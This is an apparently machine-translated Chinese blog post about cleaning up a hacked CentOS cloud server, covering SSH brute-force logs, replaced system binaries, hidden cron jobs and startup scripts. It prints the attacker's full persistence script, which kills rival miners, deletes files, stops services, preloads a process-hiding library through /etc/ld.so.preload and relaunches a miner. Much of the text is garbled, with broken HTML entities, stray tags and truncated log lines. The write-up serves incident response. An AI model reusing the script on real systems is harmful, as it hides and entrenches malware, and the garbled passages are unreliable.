分享服務器被入侵的處理過程
在下文中,鎖定文件和目錄意味著給文件和目錄添加一些屬性,比如只讀。chattr +ia
一、服務器入侵現(xiàn)象
最近一個朋友的服務器(自己的網(wǎng)站)好像被入侵了。具體現(xiàn)象就是服務器的CPU資源長期100%,負載高。以上服務無法正常提供服務。
處理了一段時間,朋友也沒解決。我開始想說我不是搞安保的。我怎么會?但是朋友開出了天價,我在生活和現(xiàn)實面前低下了頭。我開始關注它了。
二、服務器排查和處理
2.1.服務器入侵的可能原因
服務器 ssh 密碼 設置得很簡單。騰訊云安全組范圍放得很大。使用了寶塔,寶塔面板的密碼也是很簡單的密碼(應該不是這個入侵入口)。2.2、故障排除及處理步驟
Ps -ef/top找出占用進程最大的服務。
問題現(xiàn)象
ps/top命令已被替換。
尋找詳細的入侵跟蹤last或grep & # 39接受& # 39;/var/log/secure .
問題現(xiàn)象
[root @ VM-12-12-centos ~]# grep & # 39;接受& # 39;
/var/log/secure8月26日21:51:37 VM-12-12-centos sshd[19822]:來自34.215.138.2端口36720 ssh 2
8月27日08:52:05 VM-12-12-centos sshd[3053]:來自127.0.0.1端口57534 ssh2的可接受的root密碼
:從127.0.0.1端口57690 ssh 2
8月27日09:34:22 VM-12-12-centos sshd[29150]:從106.55.203.55端口38044 ssh 2:RSA sha 256:123456/uibl 8
8月27日09:34:23 VM-12-12-centos sshd[29233]:接受燈塔的公鑰
燈塔騰訊云輕量級服務器
我們在這里可以看到一些海外的IP 34.215.138.2已經(jīng)成功登錄,而這些IP并不是我們正常登錄的。在/var/log/secure日志中,我看到IP 34.215.138.2在嘗試登錄不到500次后被成功破解。
處理措施
我們立即在這里邁出了第一步,
在騰訊云安全組限制了 SSH 的登錄IP, 之前的安全組 SSH 是放行所有IP。將 SSH ROOT 密碼修改。/root/.ssh/authorized_keys 備份,并清空。[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bakcp: cannot create regular file ‘/root/.ssh/authorized_keys.bak': Permission denied這時候我們就遇到了權限的問題。這個以后再討論,因為我們已經(jīng)限制了源IP,所以這個可以以后再處理。
3.查看一些新添加的用戶。
問題現(xiàn)象
cat /etc/passwd處理措施
用戶鎖定
[root@VM-12-12-centos ~]# usermod -L sys14.我正在嘗試找到這里的進程(我已經(jīng)在構建一個相同版本的新系統(tǒng)來復制top和ps命令,這需要一點時間。就趁這個時間先看看其他的),因為我朋友之前重啟過服務器,發(fā)現(xiàn)過一會兒服務器就會出現(xiàn)高負載。我認為入侵者應該在里面放一些定時任務和啟動腳本。
問題現(xiàn)象
定時任務
Crond讀取配置文件從以下路徑讀取:
/var/spool/cron/, 由crontab -e進行寫入,配置文件無需指定用戶/etc/crontab,只能root進行編輯,配置文件需指定用戶/etc/cron.d/,在此文件夾下創(chuàng)建定時任務文件,配置文件需指定用戶/etc/cron.*/var/spool/cron/未找到(后面會說這里有煙幕)
/etc/crontab沒有找到(我們稍后會在這里討論煙幕)
但是我一直在/var/log/cron里看到任務。每5分鐘一次。
8月27日22:00:01 VM-12-12-centos CROND[16839]:(root)CMD(/sbin/httpss & gt;/dev/null 2 & gt;& amp1;^m
[/div][/div][/div][/div][/div][/div][/div]8月27日22:00:01 VM-12-12-centos CROND[16842]:(root)CMD(/usr/lib/MySQL/MySQL;^mno crontab for root[div]
8月27日22:05:01 VM-12-12-centos CROND[17486]:(root)CMD(/usr/lib/MySQL/MySQL;^mno crontab for root
[/div][/div][/div][/div][/div][//dev/null 2 & gt;& amp1;^m[/div][/div][/div][/div][/div][/div][/div]處理措施
這里我們做的第一件事就是刪除/usr/lib/mysql/mysql和/sbin/httpss。刪除時,仍會提示您沒有權限。我們知道這些文件應該被加密,所以我開始解鎖它們,我們發(fā)現(xiàn)chattr也被替換和鎖定了。所以不能再操作了。
引導腳本
/etc/rc.local,我們還發(fā)現(xiàn)了一個腳本。
[root @ VM-12-12-centos ~]# cat/etc/RC . local[div]
#!/bin/bash
#添加該文件是為了兼容
#
#強烈建議創(chuàng)建自己的systemd服務或udev規(guī)則
#以在引導期間運行腳本,而不是使用該文件。
#
#與以前的版本不同,由于在啟動期間并行執(zhí)行
#此腳本將不會在所有其他服務之后運行。
#
#請注意,您必須運行& # 39;chmod+x/etc/RC . d/RC . local & # 39;以確保
#該腳本將在啟動期間執(zhí)行。
/usr/bin/0f4f80f9ab start
但是這個文件好像不存在,所以我們對此進行了評論。
5.恢復和更改top,ps,chattr,lsattr。
首先我們從相同版本的機器拷貝了 chattr、lsattr, 我們得先操作這個, 因為我們的 top 和 ps 都被鎖住了。我將文件上傳至 /tmp 目錄,然后增加可執(zhí)行權限,然后先給 /usr/bin/chattr 解除鎖定。/tmp/chattr -ai /usr/bin/chattr執(zhí)行完之后,發(fā)現(xiàn)還是不能替換 /usr/bin/chattr。 最后耗費了一段時間才反應到,入侵者可能不僅僅加鎖了文件還加鎖了 /usr/bin/。解鎖目錄/tmp/chattr -ai /usr/bin/這下才能把 /usr/bin/chattr 給替換掉。接下來參考這些,我們把 top 和 ps 、lsattr 給還原了。部分截圖
三、本次入侵需要帶來啟示的點
ps、top、chattr、lsattr
當這些命令被替換后,我們想恢復它們,但我們不能,我們可以復制同一版本機器的相同命令并將其放在其他目錄中,并使用這些命令解鎖入侵者,替換它們并鎖定文件。請注意,一些入侵者不僅會鎖定文件級,還會鎖定當前文件的目錄級。之前有一段時間我對這個很迷茫。
文件內(nèi)容隱藏
在上面,我執(zhí)行了crontab -l和cat來查看/etc/cron.d/下面的文件。發(fā)現(xiàn)該文件沒有內(nèi)容。
其實我也不知道用了什么特殊字符或者隱藏了什么。其實是有預定任務的。
示例:
這個配置是怎么讓cat/more看不懂的?今天又看了一遍,這個文件可能算是數(shù)據(jù)文件,因為我查了這個文件file之后,文件屬性是數(shù)據(jù)。則該文件包含特殊字符。它是隱藏的。你可以告訴我。
其中一個劇本。
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 #!/bin/shwhile test 1 = 1dosleep 30pkill -f mainkillall mainkillall sprshduerjsaiapkill -f sprshduerjsaiakillall dr64pkill -f dr64killall .report_systempkill -f .report_systemkillall sshcpkill -f sshcpkill -f memorykillall memorykillall warmupkillall kokokillall kthreaddkkillall systemckillall crontkillall xm64_linuxkillall /var/tmp/j/./intelshellpkill -f dos32pkill -f dos64pkill -f .namepkill -f /usr/sbin/dbuspkill -f systemd-boot-check-no-failureskillall .report_systempkill -f .report_systempkill -f keep-alivepkill -f linupkill -f zappppkillall [scan]killall [ext4]pkill -f xm64_linuxpkill -f ddrirckillall ./-bashpkill -f ./-bashkillall kworkerskillall dbuspkill -f biden1pkill -f cpuminer-sse2killall work64pkill -f work64killall work32pkill -f work32killall aarch12pkill -f aarch12killall bash1pkill -f bash1killall intelshellpkill -f intelshellkillall heavenpkill -f heavenkillall .syst3mdpkill -f .syst3mdpkill -f apachelogskillall .meinkampfpkill -f .meinkampfkillall xripkill -f xrikillall kokopkill -f kokokillall work32-deamonpkill -f work32-deamonkillall work64 -deamonpkill -f work64 -deamonkillall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdatepkill -f kworkerspkill -f autoupdatekillall ld-linuxpkill -f ld-linuxpkill -9 Donaldkillall -9 Donaldpkill -f /usr/local/bin/pnscanpkill -f /usr/bin/biden1killall /usr/bin/biden1killall rkillall tracepkill -f minerdkillall minerdpkill -f xm64killall xm64pkill -f sysdmkillall sysdmpkill -f syst3mdkillall syst3mdpkill -f xrigkillall xrigpkill -f busyboxkillall busyboxpkill -f josephkillall josephpkill -f osamakillall osamakillall daemonpkill -f obama1killall obama1pkill -f kswapd0killall kswapd0pkill -f jehgmskillall jehgmspkill -f tsmkillall tsmpkill -f rigkillall rigpkill -f xmrkillall xmrpkill -f playstationkillall playstationpkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapdkillall ruckusapdpkill -f run64killall run64pkill -f pwnrigkillall pwnrigpkill -f phpupdatekillall phpupdatepkill -f sysupdatekillall sysupdatepkill -f phpguardkillall phpguardpkill -f firstpresskillall firstpresspkill -f zerocertkillall zerocertpkill -f masscankillall masscanpkill -f -bashpkill -f spreadQlmnopkillall spreadQlmnopkillall -bashpkill -f cnrigkillall cnrigpkill -f netvhostkillall netvhostpkill -f kthreaddskillall kthreaddspkill -f kthreaddkillall kthreaddpkill -f kdevtmpfsikillall kdevtmpfsipkill -f linuxservicekillall linuxservicepkill -f rtmonitorkillall rtmonitorpkill -f devkillall devpkill -f xmrigkillall xmrigpkill -f masterkillall masterkillall sysmdpkill -f sysmdpkill -f sendmailkillall sendmailpkill -f ld-musl-x86_64.killall ld-musl-x86_64.killall watchdogpkill -f watchdogpkill -f 32678killall 32678killall dhpcdpkill -f dhpcdkillall linux_amd64pkill -f linux_amd64killall xredispkill -f xrediskillall Linux2.6killall .chornydpkill -f .chornydkillall Operapkill -f Operakillall libertydpkill -f libertydkillall rcubindpkill -f rcubindkillall clamscanpkill -f clamscankillall pnscanpkill -f pnscankillall zzhpkill -f zzhkillall bioserpkill -f bioserrm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservicerm -rf /etc/.vhost/netvhostrm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/masterrm -rf /usr/bin/busyboxrm -rf /bin/sysmdrm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrigrm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/divsystemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop crytosystemctl stop scansystemctl stop botsystemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysqldone我們可以看到這個腳本實際上一直在改變/etc/ld.so.preload .的內(nèi)容,并關閉了一些掃描軟件和系統(tǒng)服務。
在加載Linux操作系統(tǒng)動態(tài)鏈接庫的過程中,動態(tài)鏈接器會讀取LD_PRELOAD環(huán)境變量的值和默認配置文件/etc/ld.so.preload的內(nèi)容,并將讀取的動態(tài)鏈接庫預加載,即使程序不依賴這些動態(tài)鏈接庫,LD_PRELOAD環(huán)境變量和/etc/ld.so.preload配置文件中指定的動態(tài)鏈接庫仍然會被加載。它們的優(yōu)先級高于LD_LIBRARY_PATH環(huán)境變量定義的鏈接庫搜索路徑的文件優(yōu)先級,所以可以在用戶調(diào)用的動態(tài)庫之前加載。
& mdash& mdash段落引自《謹防利用Linux預裝惡意動態(tài)鏈接庫的后門》
我已經(jīng)刪除了文件/usr/local/lib/libprocesshider . so,然后每次執(zhí)行命令都會得到這個錯誤。
在我清空空文件/etc/ld.so.preload之后,發(fā)現(xiàn)過了一段時間,這個還是出現(xiàn)了。我看了一下/etc/ld.so.preload文件,里面寫的是/usr/local/lib/libprocesshider . so。我懷疑還有預定的任務,但是我找了一段時間。后來看異常過程的時候看到了這個過程。
發(fā)現(xiàn)這個腳本的是它一直在循環(huán)執(zhí)行上面的內(nèi)容。終止該進程,然后刪除腳本。
四、本次服務器被入侵的一些啟示
用好云廠家的安全組。對一些關鍵端口,放行規(guī)則盡量最小/服務器相關的一些密碼盡量增加復雜性。增加對一些關鍵文件的監(jiān)控. (通過監(jiān)控軟件監(jiān)控 md5值)/etc/passwd/etc/shadow/etc/group/root/.bash_history/root/.ssh/authorized_keys/etc/ssh/sshd_config/etc/profile/var/spool/cron/root/etc/crontab/etc/ld.so.preload/etc/rc.locallsofpsnetstattoplspstreelasthistorysudopasswordchattrlsattr4.服務器被入侵后,我們需要做的是最好的。
https://cloud.tencent.com/document/product/296/9604
https://help.aliyun.com/document_detail/40994.htm? SPM = a2c4g . 11186623 . 0 . 0 . 75 c 56956 nvpbst
1.如果服務器已經(jīng)開放SSH遠程登錄,您可以設置受限登錄(安全組或服務)并且只釋放您自己的IP。尋找詳細的入侵跟蹤last或grep & # 39接受& # 39;/var/log/secure
/root/。ssh/authorized _ keys/etc/passwd這些文件也可以查看。鎖定一些新創(chuàng)建的用戶。
2.如果服務器可以關閉外網(wǎng),就關閉外網(wǎng)。在安全組級別設置下,路由或NAT。
3.首先看ps/top命令是否被篡改。如果有,從其他正常機器復制到服務器。然后執(zhí)行查看例外的流程。還要檢查/etc/ld.so.preload是否被篡改。如果是這樣,記得清除空的內(nèi)容,然后刪除或重命名相應的文件。
如果文件在使用過程中無法刪除或更改,則需要使用chattr -ia文件名。如果chattr也被更改,您需要從另一臺機器上復制它。然后恢復。
4.如果沒有發(fā)現(xiàn)以上情況,可以通過netstat間接檢查異常連接,查詢異常進程。
5.檢查與啟動和crontab相關的內(nèi)容。
6.檢查異常過程。
那就是處理這次入侵的過程和一些小的啟示。如果你知道新的東西,你會繼續(xù)補充。
關于共享服務器入侵處理的這篇文章到此為止。關于服務器入侵處理的更多信息,請搜索腳本之家之前的文章或者繼續(xù)瀏覽下面的相關文章。希望大家以后多多支持劇本之家!
如果您的問題還未解決可以聯(lián)系站長付費協(xié)助。

有問題可以加入技術QQ群一起交流學習
本站vip會員 請加入無憂模板網(wǎng) VIP群(50604020) PS:加入時備注用戶名或昵稱
普通注冊會員或訪客 請加入無憂模板網(wǎng) 技術交流群(50604130)
客服微信號:15898888535
聲明:本站所有文章資源內(nèi)容,如無特殊說明或標注,均為采集網(wǎng)絡資源。如若內(nèi)容侵犯了原著者的合法權益,可聯(lián)系站長刪除。